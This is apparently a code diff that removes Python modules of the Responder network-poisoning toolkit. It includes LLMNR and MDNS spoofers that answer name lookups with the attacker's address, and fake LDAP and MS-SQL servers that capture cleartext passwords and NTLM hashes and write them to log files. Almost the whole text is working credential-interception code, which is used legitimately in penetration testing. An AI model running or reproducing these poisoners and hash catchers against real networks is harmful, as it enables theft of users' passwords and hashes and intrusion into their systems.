||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data,client):
|
||||
SSPIStarts = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
|
||||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
log.info('NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
log.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data,client):
|
||||
if data[1:2] == '\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == "\x60":
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
log.info('User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
elif Operation == "\x63":
|
||||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
log.info('Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
buffer0 = ParseLDAPPacket(data,self.client_address[0])
|
||||
if buffer0:
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass #No need to print timeout errors.
|
|
@ -1,176 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LLMNRpoisoner", formatter)
|
||||
|
||||
class LLMNRpoisoner:
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options #For now a quick way to make argparse's namespace object available to all
|
||||
global OURIP ; OURIP = ourip #and our ip address
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
||||
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 5355: {}:".format(e))
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.252"
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
|
||||
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
#LLMNR Answer packet.
|
||||
class LLMNRAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x00"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionNameLen", "\x09"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerNameLen", "\x09"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type1", "\x00\x01"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
||||
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
|
||||
# LLMNR Server class.
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
RespondToName = ResponderConfig['RespondToName']
|
||||
|
||||
data, soc = self.request
|
||||
try:
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if args.analyze:
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
else:
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
raise
|
|
@ -1,115 +0,0 @@
|
|||
import threading
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MDNSpoisoner", formatter)
|
||||
|
||||
class MDNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options
|
||||
global OURIP; OURIP = ourip
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
|
||||
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
log.error("Error starting on port 5353: {}" .format(e))
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class MDNSAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", "\x00\x00"),
|
||||
("Flags", "\x84\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type", "\x00\x01"),
|
||||
("Class", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
data, soc = self.request
|
||||
if self.client_address[0] == "127.0.0.1":
|
||||
pass
|
||||
try:
|
||||
if args.analyze:
|
||||
if Parse_IPV6_Addr(data):
|
||||
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
soc.sendto(str(MDns),(MADDR,MPORT))
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if Parse_IPV6_Addr(data):
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
soc.sendto(str(MDns),(MADDR,MPORT))
|
||||
else:
|
||||
pass
|
||||
except Exception:
|
||||
raise
|
|
@ -1,154 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#MS-SQL Pre-login packet class
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\x00"),
|
||||
("VersionOffset", "\x00\x15"),
|
||||
("VersionLen", "\x00\x06"),
|
||||
("TokenType1", "\x01"),
|
||||
("EncryptionOffset", "\x00\x1b"),
|
||||
("EncryptionLen", "\x00\x01"),
|
||||
("TokenType2", "\x02"),
|
||||
("InstOptOffset", "\x00\x1c"),
|
||||
("InstOptLen", "\x00\x01"),
|
||||
("TokenTypeThrdID", "\x03"),
|
||||
("ThrdIDOffset", "\x00\x1d"),
|
||||
("ThrdIDLen", "\x00\x00"),
|
||||
("ThrdIDTerminator", "\xff"),
|
||||
("VersionStr", "\x09\x00\x0f\xc3"),
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
|
||||
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
|
||||
|
||||
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
|
||||
|
||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||
|
||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
#Version
|
||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
||||
#Encryption
|
||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
||||
#InstOpt
|
||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
||||
#ThrdIDOffset
|
||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
||||
|
||||
#MS-SQL NTLM Negotiate packet class
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\xed"),
|
||||
("SSPIBuffLen", "\xbc\x00"),
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
##Then calculate
|
||||
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
#AvPairs 6 len is always 00.
|
|
@ -1,129 +0,0 @@
|
|||
import struct
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from MSSQLPackets import *
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MSSQLserver", formatter)
|
||||
|
||||
class MSSQLserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
|
||||
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(1433, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = True
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
|
||||
def ParseSQLHash(data,client):
|
||||
SSPIStart = data[8:]
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
if NthashLen == 24:
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
